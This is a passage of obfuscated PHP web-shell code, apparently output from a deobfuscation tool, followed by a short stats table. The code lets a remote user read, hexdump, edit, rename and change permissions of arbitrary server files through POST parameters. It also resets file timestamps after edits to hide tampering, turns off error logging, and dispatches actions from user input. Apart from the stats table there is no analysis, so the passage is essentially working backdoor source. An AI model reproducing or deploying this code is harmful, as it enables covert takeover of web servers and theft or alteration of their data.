"\x3c\x2f\x62\76\x20\x3c\163\x70\x61\x6e\76\x41\x63\143\x65\x73\163\40\164\151\155\x65\72\x3c\57\x73\x70\141\x6e\x3e\x20\74\x62\x20\163\164\171\x6c\x65\75\x22\143\x6f\154\x6f\162\x3a\x77\x68\x69\164\145\x22\x3e" . date("\131\x2d\x6d\55\144\x20\110\x3a\151\72\x73", fileatime($_POST["\x70\x31"])) . "\74\57\x62\x3e\x20\74\163\160\x61\x6e\x3e\x4d\x6f\x64\x69\x66\x79\x20\164\x69\155\x65\x3a\x3c\57\x73\x70\x61\156\76\40\74\142\x20\x73\x74\171\x6c\145\x3d\42\143\x6f\x6c\157\x72\x3a\x77\150\x69\x74\145\x22\x3e" . date("\131\x2d\155\x2d\x64\40\110\72\x69\72\x73", filemtime($_POST["\160\x31"])) . "\x3c\57\142\x3e\74\x62\x72\76\74\142\162\x3e"; if (empty($_POST["\x70\x32"])) { $_POST["\160\62"] = "\166\x69\145\167"; } if (is_file($_POST["\x70\x31"])) { $m = array("\x62\141\x63\153", "\126\151\145\167", "\x48\x69\147\150\x6c\151\147\x68\164", "\x44\157\167\156\x6c\x6f\141\144", "\110\145\x78\x64\x75\x6d\x70", "\105\x64\x69\x74", "\x43\150\155\157\x64", "\x52\145\156\141\155\145", "\124\157\165\x63\150", "\106\x72\141\155\x65"); } else { $m = array("\103\150\155\157\x64", "\122\x65\156\141\155\145", "\x54\x6f\x75\143\150"); } foreach ($m as $v) { echo "\74\141\x20\163\x74\x79\154\x65\x3d\x22\x63\x6f\x6c\157\162\72\43\x46\106\x39\106\x34\63\40\x21\x69\x6d\x70\x6f\x72\164\141\x6e\x74\x22\x20\150\162\145\x66\75\43\40\x6f\156\x63\154\151\143\153\75\x22\x67\50\x6e\165\x6c\x6c\x2c\156\165\154\154\x2c\47" . urlencode($_POST["\x70\61"]) . "\47\x2c\x27" . strtolower($v) . "\x27\x29\42\76" . (strtolower($v) == @$_POST["\x70\62"] ? "\74\142\x3e\133\40" . $v . "\40\x5d\74\57\x62\76" : $v) . "\74\57\141\76\40"; } echo "\x3c\x62\x72\76\74\142\162\76"; switch ($_POST["\160\62"]) { case "\x76\x69\x65\x77": echo "\x3c\x70\162\145\x20\x63\x6c\x61\163\x73\75\155\154\61\76"; $fp = @fopen($_POST["\x70\61"], "\x72"); if ($fp) { while (!@feof($fp)) { echo htmlspecialchars(@fread($fp, 1024)); } @fclose($fp); } echo "\x3c\x2f\x70\x72\145\76"; break; case "\x68\x69\x67\150\x6c\151\x67\x68\x74": if (@is_readable($_POST["\x70\x31"])) { echo "\x3c\x64\151\166\x20\x63\154\141\163\x73\x3d\155\x6c\x31\40\163\x74\x79\x6c\145\x3d\42\x62\x61\143\x6b\147\x72\157\165\156\144\55\x63\x6f\154\x6f\162\72\40\43\145\61\145\x31\145\61\x3b\143\157\154\157\162\x3a\142\x6c\x61\143\153\x3b\x22\x3e"; $oRb = @highlight_file($_POST["\160\61"], true); echo str_replace(array("\x3c\x73\x70\x61\156\x20", "\x3c\x2f\x73\x70\141\x6e\76"), array("\x3c\x66\x6f\x6e\x74\x20", "\74\57\x66\157\x6e\164\76"), $oRb) . "\74\57\144\x69\166\76"; } break; case "\x63\x68\155\x6f\144": if (!empty($_POST["\160\x33"])) { $perms = 0; for ($i = strlen($_POST["\160\63"]) - 1; $i >= 0; --$i) { $perms += (int) $_POST["\160\63"][$i] * pow(8, strlen($_POST["\160\x33"]) - $i - 1); } if (!@chmod($_POST["\160\x31"], $perms)) { echo "\103\x61\x6e\x27\x74\x20\x73\145\164\x20\x70\x65\x72\x6d\151\163\x73\151\157\156\x73\x21\x3c\x62\x72\x3e\x3c\x73\143\162\151\160\x74\x3e\144\157\143\165\x6d\x65\x6e\x74\x2e\x6d\146\56\x70\63\x2e\x76\141\154\x75\x65\x3d\42\42\x3b\x3c\57\x73\143\162\x69\x70\x74\x3e"; } } clearstatcache(); echo "\x3c\x73\143\x72\x69\x70\x74\76\160\x33\137\x3d\42\x22\x3b\74\57\x73\x63\162\151\x70\164\x3e\x3c\146\x6f\162\x6d\x20\x6f\x6e\x73\165\x62\155\x69\164\75\x22\147\50\x6e\165\x6c\154\54\x6e\165\154\154\54\47" . urlencode($_POST["\x70\x31"]) . "\47\x2c\156\165\154\x6c\x2c\x74\x68\x69\x73\56\x63\x68\155\x6f\x64\56\166\141\154\165\x65\x29\73\162\x65\164\165\162\x6e\40\146\141\x6c\163\x65\x3b\x22\76\x3c\151\x6e\x70\165\x74\40\164\x79\x70\x65\x3d\x74\145\x78\x74\40\x6e\141\155\x65\75\x63\x68\x6d\157\144\x20\166\141\154\165\145\x3d\x22" . substr(sprintf("\45\x6f", fileperms($_POST["\160\61"])), -4) . "\x22\x3e\x3c\x69\156\x70\x75\x74\x20\164\171\x70\145\75\163\165\x62\x6d\x69\x74\40\166\x61\154\165\x65\75\42\x73\165\142\x6d\151\164\42\x3e\x3c\x2f\146\157\162\155\76"; break; case "\x65\x64\151\164": if (!is_writable($_POST["\160\x31"])) { echo "\x46\151\154\145\x20\151\x73\x6e\47\164\x20\x77\x72\x69\x74\x65\x61\x62\x6c\145"; break; } if (!empty($_POST["\160\x33"])) { $time = @filemtime($_POST["\160\61"]); $_POST["\x70\63"] = substr($_POST["\160\63"], 1); $fp = @fopen($_POST["\x70\61"], "\167"); if ($fp) { @fwrite($fp, $_POST["\160\63"]); @fclose($fp); echo "\x3c\x62\40\x73\164\x79\x6c\145\75\42\x63\x6f\x6c\157\162\72\43\62\70\103\x37\x36\x46\40\x21\x69\x6d\x70\157\162\x74\141\156\x74\x22\x3e\123\141\166\x65\x64\x21\x3c\142\76\x3c\x62\162\x3e\x3c\163\x63\162\x69\160\x74\76\160\x33\137\75\x22\42\x3b\x3c\57\x73\143\162\x69\x70\164\x3e"; @touch($_POST["\x70\x31"], $time, $time); } } echo "\74\146\x6f\162\155\40\157\x6e\x73\165\142\x6d\x69\x74\75\42\x67\x28\156\x75\154\154\x2c\x6e\165\154\154\x2c\x27" . urlencode($_POST["\x70\x31"]) . "\47\x2c\156\165\x6c\154\x2c\47\x31\47\x2b\164\150\151\163\56\x74\x65\x78\164\56\166\141\154\165\145\x29\73\162\145\x74\165\162\156\x20\146\x61\154\x73\145\x3b\42\76\x3c\x74\145\170\164\x61\162\x65\141\x20\156\141\155\145\x3d\164\x65\x78\164\40\x63\x6c\141\163\163\75\142\x69\x67\141\x72\145\x61\76"; $fp = @fopen($_POST["\160\x31"], "\162"); if ($fp) { while (!@feof($fp)) { echo htmlspecialchars(@fread($fp, 1024)); } @fclose($fp); } echo "\74\57\164\x65\x78\x74\141\x72\145\141\x3e\74\151\x6e\160\165\x74\40\x74\x79\160\x65\75\x73\165\142\155\151\164\40\x76\141\x6c\165\145\75\42\x73\165\142\155\x69\x74\x22\x3e\74\57\146\x6f\x72\155\x3e"; break; case "\x68\x65\170\144\x75\x6d\x70": $c = @file_get_contents($_POST["\x70\61"]); $n = 0; $h = array("\x30\60\60\60\60\60\x30\60\x3c\142\x72\76", '', ''); $len = strlen($c); for ($i = 0; $i < $len; ++$i) { $h[1] .= sprintf("\x25\x30\62\130", ord($c[$i])) . "\40"; switch (ord($c[$i])) { case 0: $h[2] .= "\x20"; break; case 9: $h[2] .= "\x20"; break; case 10: $h[2] .= "\40"; break; case 13: $h[2] .= "\x20"; break; default: $h[2] .= $c[$i]; break; } $n++; if ($n == 32) { $n = 0; if ($i + 1 < $len) { $h[0] .= sprintf("\45\60\x38\130", $i + 1) . "\74\142\162\x3e"; } $h[1] .= "\x3c\x62\x72\x3e"; $h[2] .= "\xa"; } } echo "\x3c\x74\141\x62\154\x65\40\x63\x65\154\154\x73\x70\x61\143\151\156\x67\x3d\61\40\x63\x65\154\x6c\x70\141\144\x64\151\x6e\x67\75\x35\x20\x62\x67\143\157\x6c\157\162\x3d\x23\x32\62\x32\x3e\74\x74\162\76\x3c\164\x64\40\x62\x67\x63\157\x6c\x6f\x72\x3d\43\x32\60\x32\70\63\62\x3e\x3c\163\x70\x61\x6e\40\x73\164\171\154\145\75\x22\x66\x6f\156\x74\55\x77\x65\151\x67\x68\164\72\40\x6e\157\x72\x6d\x61\154\73\42\x3e\x3c\x70\x72\145\76" . $h[0] . "\x3c\x2f\160\162\145\x3e\74\57\x73\160\141\156\76\x3c\57\x74\x64\x3e\x3c\164\144\40\x62\x67\143\157\x6c\157\162\75\x23\x30\66\60\x61\61\x30\76\x3c\160\162\145\76" . $h[1] . "\x3c\x2f\x70\162\145\76\x3c\57\x74\144\x3e\74\164\144\x20\x62\147\x63\x6f\154\157\162\x3d\43\x32\x30\x32\x38\63\62\x3e\74\160\x72\145\76" . htmlspecialchars($h[2]) . "\x3c\x2f\x70\162\x65\x3e\x3c\57\164\144\76\74\57\x74\x72\x3e\x3c\57\164\141\142\154\145\76"; break; case "\162\145\156\141\x6d\145": if (!empty($_POST["\x70\63"])) { if (!@rename($_POST["\160\x31"], $_POST["\x70\x33"])) { echo "\103\141\x6e\47\164\40\x72\x65\156\141\155\145\41\74\x62\x72\76"; } else { die("\74\x73\143\x72\x69\160\164\76\147\50\156\165\x6c\154\x2c\156\x75\x6c\154\x2c\42" . urlencode($_POST["\160\x33"]) . "\42\x2c\156\165\x6c\154\54\42\42\51\x3c\x2f\x73\143\162\151\160\x74\76"); } } echo "\x3c\x66\x6f\162\x6d\40\157\156\163\x75\x62\x6d\151\164\75\42\x67\x28\156\165\x6c\x6c\54\156\165\x6c\x6c\x2c\47" . urlencode($_POST["\x70\x31"]) . "\x27\x2c\x6e\165\x6c\x6c\x2c\164\x68\x69\163\x2e\156\141\155\145\x2e\166\x61\x6c\x75\145\51\x3b\162\145\164\x75\162\x6e\x20\x66\141\154\x73\x65\x3b\x22\76\74\x69\156\x70\x75\164\40\x74\x79\x70\x65\x3d\164\145\170\x74\40\156\141\x6d\x65\75\156\x61\155\x65\40\x76\141\x6c\165\145\75\42" . htmlspecialchars($_POST["\x70\x31"]) . "\42\x3e\74\151\x6e\160\165\164\x20\164\171\160\x65\75\163\165\142\x6d\151\x74\x20\x76\141\x6c\x75\145\x3d\42\163\165\x62\155\x69\x74\42\76\74\57\x66\157\x72\155\x3e"; break; case "\142\141\143\x6b": die("\74\x73\x63\x72\151\x70\164\76\147\x28\47\106\x69\154\x65\x73\x4d\141\156\x27\54\x6e\x75\x6c\x6c\x2c\47\47\x2c\47\x27\x2c\x27\47\x29\x3b\74\57\163\x63\162\151\160\164\x3e"); break; case "\x74\x6f\165\x63\150": if (!empty($_POST["\160\63"])) { $time = strtotime($_POST["\160\x33"]); if ($time) { if (!touch($_POST["\160\x31"], $time, $time)) { echo "\x46\x61\151\154\41"; } else { echo "\x54\157\x75\143\150\145\144\41"; } } else { echo "\102\x61\144\x20\164\151\155\x65\x20\x66\157\162\155\x61\x74\x21"; } } clearstatcache(); echo "\74\x73\143\162\x69\x70\x74\76\160\x33\137\75\42\42\x3b\x3c\57\163\x63\x72\151\160\164\x3e\x3c\146\157\x72\155\x20\x6f\156\163\x75\142\155\151\164\x3d\42\x67\50\156\x75\x6c\154\x2c\156\165\154\x6c\x2c\x27" . urlencode($_POST["\160\61"]) . "\x27\x2c\156\x75\x6c\x6c\x2c\x74\150\x69\x73\x2e\x74\x6f\x75\x63\150\56\x76\x61\154\x75\145\51\x3b\x72\145\x74\x75\162\x6e\x20\146\141\154\x73\x65\73\x22\76\x3c\151\156\160\x75\x74\x20\x74\171\160\145\75\164\145\x78\164\40\x6e\x61\155\x65\75\164\x6f\x75\x63\x68\x20\x76\x61\x6c\x75\x65\75\x22" . date("\131\x2d\155\x2d\x64\x20\x48\x3a\x69\x3a\163", @filemtime($_POST["\160\61"])) . "\x22\x3e\x3c\x69\x6e\160\x75\x74\40\x74\171\x70\145\75\x73\x75\x62\x6d\x69\164\40\x76\141\x6c\165\145\75\42\163\165\x62\155\151\x74\x22\x3e\x3c\57\146\x6f\x72\x6d\x3e"; break; case "\146\162\141\x6d\145": $frameSrc = substr(htmlspecialchars($GLOBALS["\143\167\x64"]), strlen(htmlspecialchars($_SERVER["\104\x4f\103\x55\x4d\x45\x4e\124\x5f\x52\x4f\117\x54"]))); if ($frameSrc[0] != "\x2f") { $frameSrc = "\x2f" . $frameSrc; } if ($frameSrc[strlen($frameSrc) - 1] != "\x2f") { $frameSrc = $frameSrc . "\x2f"; } $frameSrc = $frameSrc . htmlspecialchars($_POST["\160\x31"]); echo "\74\151\146\x72\x61\155\x65\40\x77\x69\x64\164\150\x3d\x22\x31\60\x30\45\x22\40\150\145\x69\147\x68\x74\x3d\x22\71\x30\60\x70\170\42\40\x73\143\162\x6f\154\x6c\151\156\147\x3d\42\156\157\42\40\163\x72\143\x3d" . $frameSrc . "\40\157\x6e\154\157\141\144\x3d\x22\157\x6e\154\x6f\141\144\75\x68\145\151\x67\150\x74\75\x63\x6f\x6e\x74\x65\156\164\104\157\x63\x75\155\x65\x6e\x74\56\142\x6f\144\x79\x2e\x73\143\162\157\154\x6c\x48\x65\151\x67\150\x74\x22\76\74\x2f\151\146\x72\x61\155\x65\x3e"; break; } echo "\x3c\57\x64\151\166\x3e"; hardFooter(); } goto h15M0; bf5rl: $wad = true; goto Phrpj; zVhWb: @ini_set("\154\x6f\x67\x5f\x65\162\x72\157\x72\x73", 0); goto Qg0Nv; zGeli: if (!empty($_POST["\141"]) && function_exists("\141\x63\x74\x69\x6f\156" . $_POST["\x61"])) { call_user_func("\x61\x63\x74\151\x6f\x6e" . $_POST["\141"]); }Function Calls
| None |
Stats
| MD5 | 75d5b5d5504cbfbd3813d280e561ff26 |
| Eval Count | 0 |
| Decode Time | 594 ms |